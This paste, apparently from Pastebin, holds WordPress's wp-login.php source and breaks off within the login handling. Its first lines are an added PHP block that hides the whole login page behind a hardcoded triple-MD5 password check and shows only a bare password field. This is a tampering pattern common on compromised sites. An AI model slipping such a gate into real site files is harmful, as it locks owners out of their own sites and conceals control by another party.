Advertisement
Guest User

Untitled

a guest
Apr 21st, 2017
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.39 KB | None | 0 0
  1. <?php
  2. session_start();
  3. @set_time_limit(0);
  4. $pass = md5(md5(md5($_POST['pass'])));
  5. $password="1b2154121594f06f2ce5af154b15aa19";
  6.  
  7. if($pass==$password){
  8. $_SESSION['ses'] = $pass;
  9. }
  10. if(!isset($_SESSION['ses']))
  11. {
  12. die("<form method=post><input type=password name=pass></form>");
  13. }
  14. ?>
  15.  
  16. <?php
  17. /**
  18. * WordPress User Page
  19. *
  20. * Handles authentication, registering, resetting passwords, forgot password,
  21. * and other user handling.
  22. *
  23. * @package WordPress
  24. */
  25.  
  26. /** Make sure that the WordPress bootstrap has run before continuing. */
  27. require( dirname(__FILE__) . '/wp-load.php' );
  28.  
  29. // Redirect to https login if forced to use SSL
  30. if ( force_ssl_admin() && ! is_ssl() ) {
  31. if ( 0 === strpos($_SERVER['REQUEST_URI'], 'http') ) {
  32. wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
  33. exit();
  34. } else {
  35. wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
  36. exit();
  37. }
  38. }
  39.  
  40. /**
  41. * Output the login page header.
  42. *
  43. * @param string $title Optional. WordPress login Page title to display in the `<title>` element.
  44. * Default 'Log In'.
  45. * @param string $message Optional. Message to display in header. Default empty.
  46. * @param WP_Error $wp_error Optional. The error to pass. Default empty.
  47. */
  48. function login_header( $title = 'Log In', $message = '', $wp_error = '' ) {
  49. global $error, $interim_login, $action;
  50.  
  51. // Don't index any of these forms
  52. add_action( 'login_head', 'wp_no_robots' );
  53.  
  54. add_action( 'login_head', 'wp_login_viewport_meta' );
  55.  
  56. if ( empty($wp_error) )
  57. $wp_error = new WP_Error();
  58.  
  59. // Shake it!
  60. $shake_error_codes = array( 'empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password' );
  61. /**
  62. * Filters the error codes array for shaking the login form.
  63. *
  64. * @since 3.0.0
  65. *
  66. * @param array $shake_error_codes Error codes that shake the login form.
  67. */
  68. $shake_error_codes = apply_filters( 'shake_error_codes', $shake_error_codes );
  69.  
  70. if ( $shake_error_codes && $wp_error->get_error_code() && in_array( $wp_error->get_error_code(), $shake_error_codes ) )
  71. add_action( 'login_head', 'wp_shake_js', 12 );
  72.  
  73. $separator = is_rtl() ? ' &rsaquo; ' : ' &lsaquo; ';
  74.  
  75. ?><!DOCTYPE html>
  76. <!--[if IE 8]>
  77. <html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php language_attributes(); ?>>
  78. <![endif]-->
  79. <!--[if !(IE 8) ]><!-->
  80. <html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
  81. <!--<![endif]-->
  82. <head>
  83. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
  84. <title><?php echo get_bloginfo( 'name', 'display' ) . $separator . $title; ?></title>
  85. <?php
  86.  
  87. wp_enqueue_style( 'login' );
  88.  
  89. /*
  90. * Remove all stored post data on logging out.
  91. * This could be added by add_action('login_head'...) like wp_shake_js(),
  92. * but maybe better if it's not removable by plugins
  93. */
  94. if ( 'loggedout' == $wp_error->get_error_code() ) {
  95. ?>
  96. <script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
  97. <?php
  98. }
  99.  
  100. /**
  101. * Enqueue scripts and styles for the login page.
  102. *
  103. * @since 3.1.0
  104. */
  105. do_action( 'login_enqueue_scripts' );
  106.  
  107. /**
  108. * Fires in the login page header after scripts are enqueued.
  109. *
  110. * @since 2.1.0
  111. */
  112. do_action( 'login_head' );
  113.  
  114. if ( is_multisite() ) {
  115. $login_header_url = network_home_url();
  116. $login_header_title = get_network()->site_name;
  117. } else {
  118. $login_header_url = __( 'https://wordpress.org/' );
  119. $login_header_title = __( 'Powered by WordPress' );
  120. }
  121.  
  122. /**
  123. * Filters link URL of the header logo above login form.
  124. *
  125. * @since 2.1.0
  126. *
  127. * @param string $login_header_url Login header logo URL.
  128. */
  129. $login_header_url = apply_filters( 'login_headerurl', $login_header_url );
  130.  
  131. /**
  132. * Filters the title attribute of the header logo above login form.
  133. *
  134. * @since 2.1.0
  135. *
  136. * @param string $login_header_title Login header logo title attribute.
  137. */
  138. $login_header_title = apply_filters( 'login_headertitle', $login_header_title );
  139.  
  140. $classes = array( 'login-action-' . $action, 'wp-core-ui' );
  141. if ( is_rtl() )
  142. $classes[] = 'rtl';
  143. if ( $interim_login ) {
  144. $classes[] = 'interim-login';
  145. ?>
  146. <style type="text/css">html{background-color: transparent;}</style>
  147. <?php
  148.  
  149. if ( 'success' === $interim_login )
  150. $classes[] = 'interim-login-success';
  151. }
  152. $classes[] =' locale-' . sanitize_html_class( strtolower( str_replace( '_', '-', get_locale() ) ) );
  153.  
  154. /**
  155. * Filters the login page body classes.
  156. *
  157. * @since 3.5.0
  158. *
  159. * @param array $classes An array of body classes.
  160. * @param string $action The action that brought the visitor to the login page.
  161. */
  162. $classes = apply_filters( 'login_body_class', $classes, $action );
  163.  
  164. ?>
  165. </head>
  166. <body class="login <?php echo esc_attr( implode( ' ', $classes ) ); ?>">
  167. <?php
  168. /**
  169. * Fires in the login page header after the body tag is opened.
  170. *
  171. * @since 4.6.0
  172. */
  173. do_action( 'login_header' );
  174. ?>
  175. <div id="login">
  176. <h1><a href="<?php echo esc_url( $login_header_url ); ?>" title="<?php echo esc_attr( $login_header_title ); ?>" tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
  177. <?php
  178.  
  179. unset( $login_header_url, $login_header_title );
  180.  
  181. /**
  182. * Filters the message to display above the login form.
  183. *
  184. * @since 2.1.0
  185. *
  186. * @param string $message Login message text.
  187. */
  188. $message = apply_filters( 'login_message', $message );
  189. if ( !empty( $message ) )
  190. echo $message . "\n";
  191.  
  192. // In case a plugin uses $error rather than the $wp_errors object
  193. if ( !empty( $error ) ) {
  194. $wp_error->add('error', $error);
  195. unset($error);
  196. }
  197.  
  198. if ( $wp_error->get_error_code() ) {
  199. $errors = '';
  200. $messages = '';
  201. foreach ( $wp_error->get_error_codes() as $code ) {
  202. $severity = $wp_error->get_error_data( $code );
  203. foreach ( $wp_error->get_error_messages( $code ) as $error_message ) {
  204. if ( 'message' == $severity )
  205. $messages .= ' ' . $error_message . "<br />\n";
  206. else
  207. $errors .= ' ' . $error_message . "<br />\n";
  208. }
  209. }
  210. if ( ! empty( $errors ) ) {
  211. /**
  212. * Filters the error messages displayed above the login form.
  213. *
  214. * @since 2.1.0
  215. *
  216. * @param string $errors Login error message.
  217. */
  218. echo '<div id="login_error">' . apply_filters( 'login_errors', $errors ) . "</div>\n";
  219. }
  220. if ( ! empty( $messages ) ) {
  221. /**
  222. * Filters instructional messages displayed above the login form.
  223. *
  224. * @since 2.5.0
  225. *
  226. * @param string $messages Login messages.
  227. */
  228. echo '<p class="message">' . apply_filters( 'login_messages', $messages ) . "</p>\n";
  229. }
  230. }
  231. } // End of login_header()
  232.  
  233. /**
  234. * Outputs the footer for the login page.
  235. *
  236. * @param string $input_id Which input to auto-focus
  237. */
  238. function login_footer($input_id = '') {
  239. global $interim_login;
  240.  
  241. // Don't allow interim logins to navigate away from the page.
  242. if ( ! $interim_login ): ?>
  243. <p id="backtoblog"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php
  244. /* translators: %s: site title */
  245. printf( _x( '&larr; Back to %s', 'site' ), get_bloginfo( 'title', 'display' ) );
  246. ?></a></p>
  247. <?php endif; ?>
  248.  
  249. </div>
  250.  
  251. <?php if ( !empty($input_id) ) : ?>
  252. <script type="text/javascript">
  253. try{document.getElementById('<?php echo $input_id; ?>').focus();}catch(e){}
  254. if(typeof wpOnload=='function')wpOnload();
  255. </script>
  256. <?php endif; ?>
  257.  
  258. <?php
  259. /**
  260. * Fires in the login page footer.
  261. *
  262. * @since 3.1.0
  263. */
  264. do_action( 'login_footer' ); ?>
  265. <div class="clear"></div>
  266. </body>
  267. </html>
  268. <?php
  269. }
  270.  
  271. /**
  272. * @since 3.0.0
  273. */
  274. function wp_shake_js() {
  275. ?>
  276. <script type="text/javascript">
  277. addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
  278. function s(id,pos){g(id).left=pos+'px';}
  279. function g(id){return document.getElementById(id).style;}
  280. function shake(id,a,d){c=a.shift();s(id,c);if(a.length>0){setTimeout(function(){shake(id,a,d);},d);}else{try{g(id).position='static';wp_attempt_focus();}catch(e){}}}
  281. addLoadEvent(function(){ var p=new Array(15,30,15,0,-15,-30,-15,0);p=p.concat(p.concat(p));var i=document.forms[0].id;g(i).position='relative';shake(i,p,20);});
  282. </script>
  283. <?php
  284. }
  285.  
  286. /**
  287. * @since 3.7.0
  288. */
  289. function wp_login_viewport_meta() {
  290. ?>
  291. <meta name="viewport" content="width=device-width" />
  292. <?php
  293. }
  294.  
  295. /**
  296. * Handles sending password retrieval email to user.
  297. *
  298. * @return bool|WP_Error True: when finish. WP_Error on error
  299. */
  300. function retrieve_password() {
  301. $errors = new WP_Error();
  302.  
  303. if ( empty( $_POST['user_login'] ) ) {
  304. $errors->add('empty_username', __('<strong>ERROR</strong>: Enter a username or email address.'));
  305. } elseif ( strpos( $_POST['user_login'], '@' ) ) {
  306. $user_data = get_user_by( 'email', trim( wp_unslash( $_POST['user_login'] ) ) );
  307. if ( empty( $user_data ) )
  308. $errors->add('invalid_email', __('<strong>ERROR</strong>: There is no user registered with that email address.'));
  309. } else {
  310. $login = trim($_POST['user_login']);
  311. $user_data = get_user_by('login', $login);
  312. }
  313.  
  314. /**
  315. * Fires before errors are returned from a password reset request.
  316. *
  317. * @since 2.1.0
  318. * @since 4.4.0 Added the `$errors` parameter.
  319. *
  320. * @param WP_Error $errors A WP_Error object containing any errors generated
  321. * by using invalid credentials.
  322. */
  323. do_action( 'lostpassword_post', $errors );
  324.  
  325. if ( $errors->get_error_code() )
  326. return $errors;
  327.  
  328. if ( !$user_data ) {
  329. $errors->add('invalidcombo', __('<strong>ERROR</strong>: Invalid username or email.'));
  330. return $errors;
  331. }
  332.  
  333. // Redefining user_login ensures we return the right case in the email.
  334. $user_login = $user_data->user_login;
  335. $user_email = $user_data->user_email;
  336. $key = get_password_reset_key( $user_data );
  337.  
  338. if ( is_wp_error( $key ) ) {
  339. return $key;
  340. }
  341.  
  342. $message = __('Someone has requested a password reset for the following account:') . "\r\n\r\n";
  343. $message .= network_home_url( '/' ) . "\r\n\r\n";
  344. $message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n";
  345. $message .= __('If this was a mistake, just ignore this email and nothing will happen.') . "\r\n\r\n";
  346. $message .= __('To reset your password, visit the following address:') . "\r\n\r\n";
  347. $message .= '<' . network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . ">\r\n";
  348.  
  349. if ( is_multisite() ) {
  350. $blogname = get_network()->site_name;
  351. } else {
  352. /*
  353. * The blogname option is escaped with esc_html on the way into the database
  354. * in sanitize_option we want to reverse this for the plain text arena of emails.
  355. */
  356. $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES);
  357. }
  358.  
  359. /* translators: Password reset email subject. 1: Site name */
  360. $title = sprintf( __('[%s] Password Reset'), $blogname );
  361.  
  362. /**
  363. * Filters the subject of the password reset email.
  364. *
  365. * @since 2.8.0
  366. * @since 4.4.0 Added the `$user_login` and `$user_data` parameters.
  367. *
  368. * @param string $title Default email title.
  369. * @param string $user_login The username for the user.
  370. * @param WP_User $user_data WP_User object.
  371. */
  372. $title = apply_filters( 'retrieve_password_title', $title, $user_login, $user_data );
  373.  
  374. /**
  375. * Filters the message body of the password reset mail.
  376. *
  377. * @since 2.8.0
  378. * @since 4.1.0 Added `$user_login` and `$user_data` parameters.
  379. *
  380. * @param string $message Default mail message.
  381. * @param string $key The activation key.
  382. * @param string $user_login The username for the user.
  383. * @param WP_User $user_data WP_User object.
  384. */
  385. $message = apply_filters( 'retrieve_password_message', $message, $key, $user_login, $user_data );
  386.  
  387. if ( $message && !wp_mail( $user_email, wp_specialchars_decode( $title ), $message ) )
  388. wp_die( __('The email could not be sent.') . "<br />\n" . __('Possible reason: your host may have disabled the mail() function.') );
  389.  
  390. return true;
  391. }
  392.  
  393. //
  394. // Main
  395. //
  396.  
  397. $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
  398. $errors = new WP_Error();
  399.  
  400. if ( isset($_GET['key']) )
  401. $action = 'resetpass';
  402.  
  403. // validate action so as to default to the login screen
  404. if ( !in_array( $action, array( 'postpass', 'logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login' ), true ) && false === has_filter( 'login_form_' . $action ) )
  405. $action = 'login';
  406.  
  407. nocache_headers();
  408.  
  409. header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset'));
  410.  
  411. if ( defined( 'RELOCATE' ) && RELOCATE ) { // Move flag is set
  412. if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) )
  413. $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] );
  414.  
  415. $url = dirname( set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] ) );
  416. if ( $url != get_option( 'siteurl' ) )
  417. update_option( 'siteurl', $url );
  418. }
  419.  
  420. //Set a cookie now to see if they are supported by the browser.
  421. $secure = ( 'https' === parse_url( wp_login_url(), PHP_URL_SCHEME ) );
  422. setcookie( TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN, $secure );
  423. if ( SITECOOKIEPATH != COOKIEPATH )
  424. setcookie( TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN, $secure );
  425.  
  426. /**
  427. * Fires when the login form is initialized.
  428. *
  429. * @since 3.2.0
  430. */
  431. do_action( 'login_init' );
  432. /**
  433. * Fires before a specified login form action.
  434. *
  435. * The dynamic portion of the hook name, `$action`, refers to the action
  436. * that brought the visitor to the login form. Actions include 'postpass',
  437. * 'logout', 'lostpassword', etc.
  438. *
  439. * @since 2.8.0
  440. */
  441. do_action( "login_form_{$action}" );
  442.  
  443. $http_post = ('POST' == $_SERVER['REQUEST_METHOD']);
  444. $interim_login = isset($_REQUEST['interim-login']);
  445.  
  446. switch ($action) {
  447.  
  448. case 'postpass' :
  449. if ( ! array_key_exists( 'post_password', $_POST ) ) {
  450. wp_safe_redirect( wp_get_referer() );
  451. exit();
  452. }
  453.  
  454. $hasher = new PasswordHash( 8, true );
  455.  
  456. /**
  457. * Filters the life span of the post password cookie.
  458. *
  459. * By default, the cookie expires 10 days from creation. To turn this
  460. * into a session cookie, return 0.
  461. *
  462. * @since 3.7.0
  463. *
  464. * @param int $expires The expiry time, as passed to setcookie().
  465. */
  466. $expire = apply_filters( 'post_password_expires', time() + 10 * DAY_IN_SECONDS );
  467. $referer = wp_get_referer();
  468. if ( $referer ) {
  469. $secure = ( 'https' === parse_url( $referer, PHP_URL_SCHEME ) );
  470. } else {
  471. $secure = false;
  472. }
  473. setcookie( 'wp-postpass_' . COOKIEHASH, $hasher->HashPassword( wp_unslash( $_POST['post_password'] ) ), $expire, COOKIEPATH, COOKIE_DOMAIN, $secure );
  474.  
  475. wp_safe_redirect( wp_get_referer() );
  476. exit();
  477.  
  478. case 'logout' :
  479. check_admin_referer('log-out');
  480.  
  481. $user = wp_get_current_user();
  482.  
  483. wp_logout();
  484.  
  485. if ( ! empty( $_REQUEST['redirect_to'] ) ) {
  486. $redirect_to = $requested_redirect_to = $_REQUEST['redirect_to'];
  487. } else {
  488. $redirect_to = 'wp-login.php?loggedout=true';
  489. $requested_redirect_to = '';
  490. }
  491.  
  492. /**
  493. * Filters the log out redirect URL.
  494. *
  495. * @since 4.2.0
  496. *
  497. * @param string $redirect_to The redirect destination URL.
  498. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
  499. * @param WP_User $user The WP_User object for the user that's logging out.
  500. */
  501. $redirect_to = apply_filters( 'logout_redirect', $redirect_to, $requested_redirect_to, $user );
  502. wp_safe_redirect( $redirect_to );
  503. exit();
  504.  
  505. case 'lostpassword' :
  506. case 'retrievepassword' :
  507.  
  508. if ( $http_post ) {
  509. $errors = retrieve_password();
  510. if ( !is_wp_error($errors) ) {
  511. $redirect_to = !empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : 'wp-login.php?checkemail=confirm';
  512. wp_safe_redirect( $redirect_to );
  513. exit();
  514. }
  515. }
  516.  
  517. if ( isset( $_GET['error'] ) ) {
  518. if ( 'invalidkey' == $_GET['error'] ) {
  519. $errors->add( 'invalidkey', __( 'Your password reset link appears to be invalid. Please request a new link below.' ) );
  520. } elseif ( 'expiredkey' == $_GET['error'] ) {
  521. $errors->add( 'expiredkey', __( 'Your password reset link has expired. Please request a new link below.' ) );
  522. }
  523. }
  524.  
  525. $lostpassword_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  526. /**
  527. * Filters the URL redirected to after submitting the lostpassword/retrievepassword form.
  528. *
  529. * @since 3.0.0
  530. *
  531. * @param string $lostpassword_redirect The redirect destination URL.
  532. */
  533. $redirect_to = apply_filters( 'lostpassword_redirect', $lostpassword_redirect );
  534.  
  535. /**
  536. * Fires before the lost password form.
  537. *
  538. * @since 1.5.1
  539. */
  540. do_action( 'lost_password' );
  541.  
  542. login_header(__('Lost Password'), '<p class="message">' . __('Please enter your username or email address. You will receive a link to create a new password via email.') . '</p>', $errors);
  543.  
  544. $user_login = isset($_POST['user_login']) ? wp_unslash($_POST['user_login']) : '';
  545.  
  546. ?>
  547.  
  548. <form name="lostpasswordform" id="lostpasswordform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=lostpassword', 'login_post' ) ); ?>" method="post">
  549. <p>
  550. <label for="user_login" ><?php _e( 'Username or Email Address' ); ?><br />
  551. <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" /></label>
  552. </p>
  553. <?php
  554. /**
  555. * Fires inside the lostpassword form tags, before the hidden fields.
  556. *
  557. * @since 2.1.0
  558. */
  559. do_action( 'lostpassword_form' ); ?>
  560. <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
  561. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Get New Password'); ?>" /></p>
  562. </form>
  563.  
  564. <p id="nav">
  565. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e('Log in') ?></a>
  566. <?php
  567. if ( get_option( 'users_can_register' ) ) :
  568. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  569.  
  570. /** This filter is documented in wp-includes/general-template.php */
  571. echo ' | ' . apply_filters( 'register', $registration_url );
  572. endif;
  573. ?>
  574. </p>
  575.  
  576. <?php
  577. login_footer('user_login');
  578. break;
  579.  
  580. case 'resetpass' :
  581. case 'rp' :
  582. list( $rp_path ) = explode( '?', wp_unslash( $_SERVER['REQUEST_URI'] ) );
  583. $rp_cookie = 'wp-resetpass-' . COOKIEHASH;
  584. if ( isset( $_GET['key'] ) ) {
  585. $value = sprintf( '%s:%s', wp_unslash( $_GET['login'] ), wp_unslash( $_GET['key'] ) );
  586. setcookie( $rp_cookie, $value, 0, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  587. wp_safe_redirect( remove_query_arg( array( 'key', 'login' ) ) );
  588. exit;
  589. }
  590.  
  591. if ( isset( $_COOKIE[ $rp_cookie ] ) && 0 < strpos( $_COOKIE[ $rp_cookie ], ':' ) ) {
  592. list( $rp_login, $rp_key ) = explode( ':', wp_unslash( $_COOKIE[ $rp_cookie ] ), 2 );
  593. $user = check_password_reset_key( $rp_key, $rp_login );
  594. if ( isset( $_POST['pass1'] ) && ! hash_equals( $rp_key, $_POST['rp_key'] ) ) {
  595. $user = false;
  596. }
  597. } else {
  598. $user = false;
  599. }
  600.  
  601. if ( ! $user || is_wp_error( $user ) ) {
  602. setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  603. if ( $user && $user->get_error_code() === 'expired_key' )
  604. wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=expiredkey' ) );
  605. else
  606. wp_redirect( site_url( 'wp-login.php?action=lostpassword&error=invalidkey' ) );
  607. exit;
  608. }
  609.  
  610. $errors = new WP_Error();
  611.  
  612. if ( isset($_POST['pass1']) && $_POST['pass1'] != $_POST['pass2'] )
  613. $errors->add( 'password_reset_mismatch', __( 'The passwords do not match.' ) );
  614.  
  615. /**
  616. * Fires before the password reset procedure is validated.
  617. *
  618. * @since 3.5.0
  619. *
  620. * @param object $errors WP Error object.
  621. * @param WP_User|WP_Error $user WP_User object if the login and reset key match. WP_Error object otherwise.
  622. */
  623. do_action( 'validate_password_reset', $errors, $user );
  624.  
  625. if ( ( ! $errors->get_error_code() ) && isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) ) {
  626. reset_password($user, $_POST['pass1']);
  627. setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
  628. login_header( __( 'Password Reset' ), '<p class="message reset-pass">' . __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a></p>' );
  629. login_footer();
  630. exit;
  631. }
  632.  
  633. wp_enqueue_script('utils');
  634. wp_enqueue_script('user-profile');
  635.  
  636. login_header(__('Reset Password'), '<p class="message reset-pass">' . __('Enter your new password below.') . '</p>', $errors );
  637.  
  638. ?>
  639. <form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
  640. <input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />
  641.  
  642. <div class="user-pass1-wrap">
  643. <p>
  644. <label for="pass1"><?php _e( 'New password' ) ?></label>
  645. </p>
  646.  
  647. <div class="wp-pwd">
  648. <span class="password-input-wrapper">
  649. <input type="password" data-reveal="1" data-pw="<?php echo esc_attr( wp_generate_password( 16 ) ); ?>" name="pass1" id="pass1" class="input" size="20" value="" autocomplete="off" aria-describedby="pass-strength-result" />
  650. </span>
  651. <div id="pass-strength-result" class="hide-if-no-js" aria-live="polite"><?php _e( 'Strength indicator' ); ?></div>
  652. </div>
  653. </div>
  654.  
  655. <p class="user-pass2-wrap">
  656. <label for="pass2"><?php _e( 'Confirm new password' ) ?></label><br />
  657. <input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="off" />
  658. </p>
  659.  
  660. <p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
  661. <br class="clear" />
  662.  
  663. <?php
  664. /**
  665. * Fires following the 'Strength indicator' meter in the user password reset form.
  666. *
  667. * @since 3.9.0
  668. *
  669. * @param WP_User $user User object of the user whose password is being reset.
  670. */
  671. do_action( 'resetpass_form', $user );
  672. ?>
  673. <input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
  674. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Reset Password'); ?>" /></p>
  675. </form>
  676.  
  677. <p id="nav">
  678. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
  679. <?php
  680. if ( get_option( 'users_can_register' ) ) :
  681. $registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
  682.  
  683. /** This filter is documented in wp-includes/general-template.php */
  684. echo ' | ' . apply_filters( 'register', $registration_url );
  685. endif;
  686. ?>
  687. </p>
  688.  
  689. <?php
  690. login_footer('user_pass');
  691. break;
  692.  
  693. case 'register' :
  694. if ( is_multisite() ) {
  695. /**
  696. * Filters the Multisite sign up URL.
  697. *
  698. * @since 3.0.0
  699. *
  700. * @param string $sign_up_url The sign up URL.
  701. */
  702. wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
  703. exit;
  704. }
  705.  
  706. if ( !get_option('users_can_register') ) {
  707. wp_redirect( site_url('wp-login.php?registration=disabled') );
  708. exit();
  709. }
  710.  
  711. $user_login = '';
  712. $user_email = '';
  713. if ( $http_post ) {
  714. $user_login = isset( $_POST['user_login'] ) ? $_POST['user_login'] : '';
  715. $user_email = isset( $_POST['user_email'] ) ? $_POST['user_email'] : '';
  716. $errors = register_new_user($user_login, $user_email);
  717. if ( !is_wp_error($errors) ) {
  718. $redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
  719. wp_safe_redirect( $redirect_to );
  720. exit();
  721. }
  722. }
  723.  
  724. $registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  725. /**
  726. * Filters the registration redirect URL.
  727. *
  728. * @since 3.0.0
  729. *
  730. * @param string $registration_redirect The redirect destination URL.
  731. */
  732. $redirect_to = apply_filters( 'registration_redirect', $registration_redirect );
  733. login_header(__('Registration Form'), '<p class="message register">' . __('Register For This Site') . '</p>', $errors);
  734. ?>
  735. <form name="registerform" id="registerform" action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>" method="post" novalidate="novalidate">
  736. <p>
  737. <label for="user_login"><?php _e('Username') ?><br />
  738. <input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr(wp_unslash($user_login)); ?>" size="20" /></label>
  739. </p>
  740. <p>
  741. <label for="user_email"><?php _e('Email') ?><br />
  742. <input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( wp_unslash( $user_email ) ); ?>" size="25" /></label>
  743. </p>
  744. <?php
  745. /**
  746. * Fires following the 'Email' field in the user registration form.
  747. *
  748. * @since 2.1.0
  749. */
  750. do_action( 'register_form' );
  751. ?>
  752. <p id="reg_passmail"><?php _e( 'Registration confirmation will be emailed to you.' ); ?></p>
  753. <br class="clear" />
  754. <input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
  755. <p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Register'); ?>" /></p>
  756. </form>
  757.  
  758. <p id="nav">
  759. <a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> |
  760. <a href="<?php echo esc_url( wp_lostpassword_url() ); ?>"><?php _e( 'Lost your password?' ); ?></a>
  761. </p>
  762.  
  763. <?php
  764. login_footer('user_login');
  765. break;
  766.  
  767. case 'login' :
  768. default:
  769. $secure_cookie = '';
  770. $customize_login = isset( $_REQUEST['customize-login'] );
  771. if ( $customize_login )
  772. wp_enqueue_script( 'customize-base' );
  773.  
  774. // If the user wants ssl but the session is not ssl, force a secure cookie.
  775. if ( !empty($_POST['log']) && !force_ssl_admin() ) {
  776. $user_name = sanitize_user($_POST['log']);
  777. $user = get_user_by( 'login', $user_name );
  778.  
  779. if ( ! $user && strpos( $user_name, '@' ) ) {
  780. $user = get_user_by( 'email', $user_name );
  781. }
  782.  
  783. if ( $user ) {
  784. if ( get_user_option('use_ssl', $user->ID) ) {
  785. $secure_cookie = true;
  786. force_ssl_admin(true);
  787. }
  788. }
  789. }
  790.  
  791. if ( isset( $_REQUEST['redirect_to'] ) ) {
  792. $redirect_to = $_REQUEST['redirect_to'];
  793. // Redirect to https if user wants ssl
  794. if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') )
  795. $redirect_to = preg_replace('|^http://|', 'https://', $redirect_to);
  796. } else {
  797. $redirect_to = admin_url();
  798. }
  799.  
  800. $reauth = empty($_REQUEST['reauth']) ? false : true;
  801.  
  802. $user = wp_signon( array(), $secure_cookie );
  803.  
  804. if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
  805. if ( headers_sent() ) {
  806. /* translators: 1: Browser cookie documentation URL, 2: Support forums URL */
  807. $user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
  808. __( 'https://codex.wordpress.org/Cookies' ), __( 'https://wordpress.org/support/' ) ) );
  809. } elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
  810. // If cookies are disabled we can't log in even with a valid user+pass
  811. /* translators: 1: Browser cookie documentation URL */
  812. $user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
  813. __( 'https://codex.wordpress.org/Cookies' ) ) );
  814. }
  815. }
  816.  
  817. $requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
  818. /**
  819. * Filters the login redirect URL.
  820. *
  821. * @since 3.0.0
  822. *
  823. * @param string $redirect_to The redirect destination URL.
  824. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter.
  825. * @param WP_User|WP_Error $user WP_User object if login was successful, WP_Error object otherwise.
